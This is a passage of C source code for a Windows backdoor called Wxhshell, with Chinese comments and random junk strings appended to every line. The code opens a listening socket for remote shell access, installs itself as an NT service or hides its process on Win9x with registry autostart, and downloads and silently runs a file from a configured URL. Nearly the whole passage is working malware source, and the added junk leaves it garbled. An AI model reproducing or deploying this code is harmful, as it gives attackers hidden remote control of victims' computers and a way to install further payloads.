DWORD AffinityMask; BI)C\D3[
DWORD BasePriority; C;JW\J~W
ULONG UniqueProcessId; #bt f|\D
ULONG InheritedFromUniqueProcessId; %4!^AA%
} PROCESS_BASIC_INFORMATION; #*CMf.OCh
^ei[1#
PROCNTQSIP NtQueryInformationProcess; S5>ztK.e
sd%)g<t
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X+A@//,7
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8h=m()Eu
q6-o!>dLQ
HANDLE hProcess; A? B+
PROCESS_BASIC_INFORMATION pbi; +0%r@hTv&>
56s%Qlgx
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )JTQZ,f3]
if(NULL == hInst ) return 0; nD
eVY K
Het"x
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oA-,>:}g{
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R~a9}&
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o#wly%i')
(y!bvp[" m
if (!NtQueryInformationProcess) return 0; :B5*?x
v^o`+~i
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D^%IFwU^
if(!hProcess) return 0; QjSWl,{
$D
P<&bAsje
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LhAW|];
~3gazTe9
CloseHandle(hProcess); !^F_7u@Q
Iv
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <]G'& iv>
if(hProcess==NULL) return 0; "A
Bt
T_Tu>wQX
HMODULE hMod; !~?/D
char procName[255]; "0PsCr}!
unsigned long cbNeeded; P2jh[a%
dcmf~+T
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =6ru%.8U,
Ip7#${f5M
CloseHandle(hProcess); "!vY{9,
%(&ja_oO
if(strstr(procName,"services")) return 1; // 以服务启动 H0"'jd
J'ce?_\?PY
return 0; // 注册表启动 %D#&RS
} <v -YMk@
}Em{?Hqy
// 主模块 00i MU
int StartWxhshell(LPSTR lpCmdLine) H:hM(m0?q
{ Dmi.@.
SOCKET wsl; -V4{tIQY
BOOL val=TRUE; qVfn(rZ
int port=0; D['J4B
struct sockaddr_in door; )s:kQ~+
|0}Xb|+
if(wscfg.ws_autoins) Install(); T\p>wiY2|F
)_C>hWvo_
port=atoi(lpCmdLine); 7P(o!%H
<h9nt4F
if(port<=0) port=wscfg.ws_port; gd#R7[AVi
1QA/ !2E
WSADATA data; 7)<Ib
j<M
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *j&\5|^V
1o\2\B=k{
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Heh&;c
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E-Xz
door.sin_family = AF_INET; 9[VYd '
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;0m J4G
door.sin_port = htons(port); iP9]b&
XYP
RMa?
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q
j21#q
.
closesocket(wsl); `.JW_F)1
return 1; }a!|n4|`
} H?;+C/-K`_
dpS@:
if(listen(wsl,2) == INVALID_SOCKET) { x*F-d2D
closesocket(wsl); M x,5
return 1; 7Dssr [
} bf.+Ewb(
Wxhshell(wsl); tgCp2`n
WSACleanup(); QChWy`x
+~G:z|k
return 0; (@*|[wN
p<dw C"z
} vjGJRk|XED
=/a`X[9vI
// 以NT服务方式启动 ku*k+4rz
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qk'&:A
{ N
e{=KdzT
DWORD status = 0; Gev\bQa
DWORD specificError = 0xfffffff; p#4*:rpq4
|=:@<0.'
serviceStatus.dwServiceType = SERVICE_WIN32; X:`=\D
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ZhCz]z~tj6
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /cdLMm:
serviceStatus.dwWin32ExitCode = 0; 8wd["hga<%
serviceStatus.dwServiceSpecificExitCode = 0; 9+m>|"F0
serviceStatus.dwCheckPoint = 0; |7,$.MK-@
serviceStatus.dwWaitHint = 0; uZ_?x~V/
H74'I}
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <?KgzIq2
if (hServiceStatusHandle==0) return; ~DxuLk6
s
sdCG}..`
status = GetLastError(); V}<<?_
if (status!=NO_ERROR) fFbJE]jW
{ P]}:E+E<.I
serviceStatus.dwCurrentState = SERVICE_STOPPED; 11QZ- ^
serviceStatus.dwCheckPoint = 0; j^b&Q
serviceStatus.dwWaitHint = 0; L T`T~|pz
serviceStatus.dwWin32ExitCode = status; 9HN&M*}
serviceStatus.dwServiceSpecificExitCode = specificError; Y'P^]Q=}_#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k~<Ozx^AyY
return; e^\(bp+83
} ]6v7iuvI
xv$fw>
serviceStatus.dwCurrentState = SERVICE_RUNNING; LC=M{\
serviceStatus.dwCheckPoint = 0;
K%%Ow
serviceStatus.dwWaitHint = 0; 3`SH-"{j%
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %jj-\Gz!
} )ZLj2H <
g$ )0E<
// 处理NT服务事件,比如:启动、停止 /J-.K*xKt
VOID WINAPI NTServiceHandler(DWORD fdwControl) &,p6lbP
{ K($+ILZ
switch(fdwControl) g8Y)90 G
{ C<:wSS^@1
case SERVICE_CONTROL_STOP: 0# 1~'e
serviceStatus.dwWin32ExitCode = 0; P;y!Y/$ C
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^=-25%&^
serviceStatus.dwCheckPoint = 0; )2W7>PY
serviceStatus.dwWaitHint = 0; -u~:Gd*l0
{ ?S=y>b9R
SetServiceStatus(hServiceStatusHandle, &serviceStatus); dmkGIg}
} k
"7,-0gz
return; d/oD]aAEr
case SERVICE_CONTROL_PAUSE: h8.(Q`tli
serviceStatus.dwCurrentState = SERVICE_PAUSED; 0nI*9
break; dQH8s
case SERVICE_CONTROL_CONTINUE: {7IZN< e
serviceStatus.dwCurrentState = SERVICE_RUNNING; {be|G^.c
break; A`vRUl,c=
case SERVICE_CONTROL_INTERROGATE: :SN? t
break; mg70%=qM0f
}; j4@6`[n:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *R4=4e2#S
} .u7grC C
;H%'K
// 标准应用程序主函数 >W/mRv&
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j1Sjw6}GCH
{ B[w.8e5
'dQGb-<_<
// 获取操作系统版本 3\ )bg
R:
OsIsNt=GetOsVer(); %|/\Qu
GetModuleFileName(NULL,ExeFile,MAX_PATH); d\A7}_r*x
~Odclrs
// 从命令行安装 &BKnJ{,H
if(strpbrk(lpCmdLine,"iI")) Install(); U[yA`7Zs}
~QE?GL
// 下载执行文件 c2GTN "
if(wscfg.ws_downexe) { k?3mFWc
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qixnaiZ
WinExec(wscfg.ws_filenam,SW_HIDE); _ !"[Zr
} buKkm$@w
A;/,</
if(!OsIsNt) { fE|"g'
// 如果时win9x,隐藏进程并且设置为注册表启动 rWM5&M
HideProc(); *6_>/!ywI
StartWxhshell(lpCmdLine); %ID48_>*
} rf^IJY[
else
's"aPqF?
if(StartFromService()) 0 >(hiTy<
// 以服务方式启动 W1M Bk[:Q
StartServiceCtrlDispatcher(DispatchTable); 4ee-tKH
else 0Iyb}
// 普通方式启动 '|tmmoY6a:
StartWxhshell(lpCmdLine); <[gN4x>'
8&x&Ou$("V
return 0; 2I=4l
}